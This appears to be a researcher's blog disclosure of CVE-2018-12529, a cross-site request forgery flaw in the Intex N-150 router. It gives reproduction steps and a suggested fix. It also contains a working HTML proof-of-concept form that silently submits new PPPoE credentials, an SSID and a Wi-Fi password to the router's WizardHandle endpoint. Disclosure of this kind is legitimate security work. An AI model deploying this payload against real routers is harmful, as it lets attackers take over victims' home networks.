Cross Site Request Forgery- Intex Router N-150 | CVE-2018-12529
By- Navina Asrani
Hi Readers,
Recently while tinkering with my wifi router, I was curious
to find if it has possible loopholes and vulnerabilities. Curious to explore
its functionalities, I started probing with the options.
Title of the Vulnerability:
Cross Site Request Forgery
Vulnerability Class: Code Execution/ Privilege Escalation
Technical Details & Description: The firmware allows
malicious request to be executed without verifying source of request. This
leads to arbitrary execution with malicious request which will lead to the
creation of a privileged user.
CVE ID allocated: - CVE-2018-12529
Product & Service Introduction: Intex Router
Steps to Re-Produce –
1. Visit the
application
2. Go to any router setting modification page
and change the values, create a request and observe the lack of CSRF tokens.
3. Craft an html
page with all the details for the built-in admin user creation and host it on a
server
4. Upon the link
being clicked by a logged in admin user, immediately, the action will get
executed
Exploitation Technique: A attacker can create a rogue admin
user to gain access to the application.
Severity Level: High
Security Risk:
The presence of such a risk can lead to router compromise as well as privileged user access.
Exploit code:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form
action="http://192.168.0.1/goform/WizardHandle"
method="POST">
<input
type="hidden" name="GO" value="index.asp"
/>
<input
type="hidden" name="v12_time"
value="1529768448.425" />
<input
type="hidden" name="WANT1" value="3" />
<input
type="hidden" name="isp" value="3" />
<input
type="hidden" name="PUN" value="testuser_k"
/>
<input
type="hidden" name="PPW" value="123456" />
<input
type="hidden" name="SSID" value="testwifiap"
/>
<input
type="hidden" name="wirelesspassword" value="00000000"
/>
<input
type="submit" value="Submit request" />
</form>
</body>
</html>
Affected Product Version: Intex Router n150
Solution - Fix & Patch: The application code should be configured to implement anti csrf token to filter malicous HTTP Requests.
POCs:
Comments
Post a Comment